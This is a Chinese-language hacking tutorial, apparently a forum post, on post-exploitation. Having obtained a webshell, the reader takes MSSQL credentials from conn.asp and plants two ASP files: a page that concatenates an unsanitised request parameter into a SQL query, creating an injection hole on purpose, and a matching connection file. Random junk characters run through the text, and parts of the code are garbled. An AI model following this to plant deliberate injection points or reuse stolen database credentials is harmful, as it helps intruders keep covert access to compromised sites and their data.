首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
2 ~/ C3 R3 Q0 ^6 mASP/Visual Basic代码
& v+ S9 _6 D; f/ I9 P y4 c' y<!--#include file="xx.asp"--> 2 \8 }4 G4 ~' @5 m9 F: `5 D- ^% o; r
<% 9 J1 ^- a4 I" j0 r$ Y. _& R( u
set rs=server.createobject("ADODB.recordset")
* b9 O( @2 z" [* \. @id = request("id") 6 k1 ` d( v, U2 d9 B9 D
strSQL = "select * from admin where id=" & id
& P/ U0 r6 p5 S: ~, ]+ o6 lrs.open strSQL,conn,1,3 + H* R0 _ ?5 ?- ]3 Z& d
rs.close
2 e. a. Z. U- N%> 1 V( x6 }% u0 {
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
$ `: \4 ~ m. O. `2 \然后就要构造一个连接数据库的文件了,代码如下:) p( v4 O# G1 y; w' O
ASP/Visual Basic代码
7 V) D- U3 Q! [3 c* {9 @5 h* Z<%
9 U; L6 ?% ^- V. e" tstrSQLServerName = "000.000.000.000" '服务器名称或地址
3 y4 ~) }8 _7 L9 Y3 Z( dstrSQLDBUserName = "sqlname" '数据库帐号
* Y+ y8 X+ N5 q: S/ {strSQLDBPassword = "sqlpass" '数据库密码
3 n8 u6 F( D, i7 F% N7 BstrSQLDBName = "sqldataname" '数据库名称
/ ~" k' ~- q f4 ~! L! O& m# \Set conn = Server.CreateObject("ADODB.Connection") f& b" Y: h* x* I5 y/ U; ?
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
1 ]! U9 T. Q2 ~+ w) q/ E: u1 G, qconn.open strCon
I) Q* F$ d1 c6 s%> 0 m& g! ^# r# \; }3 ]7 y$ M) R
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
- _& e4 s2 B* U ] |